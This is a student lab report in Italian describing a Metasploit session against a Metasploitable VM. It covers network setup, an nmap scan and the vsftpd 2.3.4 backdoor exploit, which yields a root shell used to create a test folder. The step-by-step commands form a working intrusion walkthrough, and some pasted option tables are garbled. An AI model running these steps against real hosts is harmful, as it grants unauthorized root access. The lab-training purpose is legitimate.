

Manuel Di Gangi

S7_L1

Hacking con Metasploit

4 marzo 2024

INDICE

1. TRACCIA.....	pag. 2
2. PREPARAZIONE AMBIENTE	
1. Interfaccia Metasploitable	
2. Interfaccia Kali Linux.....	pag. 3
3. Verifica funzionamento	
3. EXPLOIT.....	pag. 4
4. ACCESSO REMOTO.....	pag. 7

1. Traccia

Nella lezione pratica di oggi vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable.

Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica). L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

2. Preparazione ambiente

Ci viene richiesto di impostare l'indirizzo della macchina Metasploit su "192.168.1.149, per semplicità ai fini dell'esercizio modifichiamo anche l'indirizzo di Kali "192.168.1.150" così da metterle sulla stessa rete e permettere la comunicazione.

Ci rechiamo sul file "interfaces" con i dati delle interfacce di rete mediante il seguente comando e li modifichiamo

```
sudo nano /etc/network/interfaces
```

1. INTERFACCIA METASPLOITABLE

```
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
dns/nameserver 192.168.1.4 192.168.1.15
```

2. INTERFACCIA KALI LINUX

```
auto eth0
iface eth0 inet static
address 192.168.1.150
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 8.8.8.8
```

3. VERIFICA FUNZIONAMENTO

Riavviamo le interfacce di rete delle macchine per applicare i cambiamenti

```
sudo /etc/init.d/networking restart
```

Con il comando ping verifichiamo la comunicazione tra le due macchine

```
(kali㉿kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=0.443 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.316 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.239 ms
^C
— 192.168.1.149 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2035ms
rtt min/avg/max/mdev = 0.239/0.332/0.443/0.084 ms
```

3. Exploit

Avviamo Metasploit da un terminale di kali mediante il comando **msfconsole**, contemporaneamente su un altro avviando una scansione per l'enumerazione dei servizi attivi su Metasploitable con il comando **nmap -sV**.

Il nostro target è il servizio vsftpd attivo sulla porta 21.

```
(kali㉿kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 09:52 EST
Nmap scan report for 192.168.1.149
Host is up (0.00032s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN;
Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 65.55 seconds
```

Su MSFconsole eseguiamo una ricerca per individuare un exploit che soddisfi le nostre necessità mediante il comando **search vsftpd**. La ricerca restituisce due risultati, quello che fa al caso nostro è il secondo, in quanto sfrutta una backdoor per aprire una shell in remoto.

```
msf6 > search vsftpd
Matching Modules
=====
#  Name
-  ---
0  auxiliary/dos/ftp/vsftpd_232
1  exploit/unix/ftp/vsftpd_234_backdoor

Disclosure Date  Rank  Check  Descriptio
2011-02-03      normal Yes   VSFTPD 2.3
2011-07-03      excellent No    VSFTPD v2.

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ft
p/vsftpd_234_backdoor
```

Sfruttiamo il comando **use** per utilizzare l'exploit

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
```

Successivamente, utilizziamo il comando **show options** per capire quali parametri devono essere configurati. Il parametro RPORT (Porta target) è pre compilato con la porta di default, mentre è richiesto il campo RHOST (Indirizzo target)

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name    | Current Setting | Required | Description               |
|---------|-----------------|----------|---------------------------|
| CHOST   | 512/tcp open    | no       | The local client address  |
| CPORT   | 513/tcp open    | no       | The local client port     |
| Proxies | 514/tcp open    | no       | A proxy chain of format t |
| RHOSTS  | 1099/tcp open   | yes      | The target host(s), see h |
| RPORT   | 2124/tcp open   | yes      | The target port (TCP)     |


```

Possiamo configurarlo con il comando **set RHOSTS 192.168.1.149**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

Ci resta da scegliere e configurare il payload. Vediamo quali payload sono disponibili per l'exploit scelto utilizzando il comando **show payloads**. Nella fattispecie vediamo che c'è solamente un payload compatibile.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads


| # | Name                      | Disclosure Date | Rank   | Check | Description                                        |
|---|---------------------------|-----------------|--------|-------|----------------------------------------------------|
| 0 | payload/cmd/unix/interact |                 | normal | No    | Unix Command, Interact with Established Connection |


```

Eseguiamo un secondo **show options** per verificare i parametri necessari per eseguire il payload. In questo caso non è richiesto alcun parametro, siamo pronti a lanciare l'attacco.

```

Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  _____  _____  _____  _____

```

Lanciando l'attacco con il comando **exploit** notiamo che si apre una shell.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:41383 → 192.168.1.149:6200) at 2024-03-04 08:35:18 -0500

```

4. Accesso remoto

Lanciando il comando **ifconfig** ci viene mostrato a video l'indirizzo della macchina Metasploitable, è la prova che la shell aperta sul nostro terminale di Kali è in esecuzione su un'altra macchina.

```

[*] Command shell session 1 opened (192.168.1.150:41383 → 192.168.1.149:6200)
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:19:4e:a3
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe19:4ea3/64  Scope:Link

```

Per terminare la consegna dell'esercizio, ci rechiamo sulla cartella root del sistema e creiamo una directory denominata "test_metasploit".

```
pwd          /
mkdir test_metasploit
```

Verifichiamo la creazione della cartella sia dalla shell di MSFconsole:

```
ls -l | grep test_metasploit
drwx----- 2 root root 4096 Feb 22 04:12 test_metasploit
```

Che recandoci nella root da Metasploitable:

```
msfadmin@metasploitable:/$ ls
bin    dev    initrd    lost+found  nohup.out  root  sys    usr
boot   etc    initrd.img  media      opt        sbin  test_metasploit  var
cdrom  home   lib        mnt        proc       srv   tmp      vmlinuz
msfadmin@metasploitable:/$
```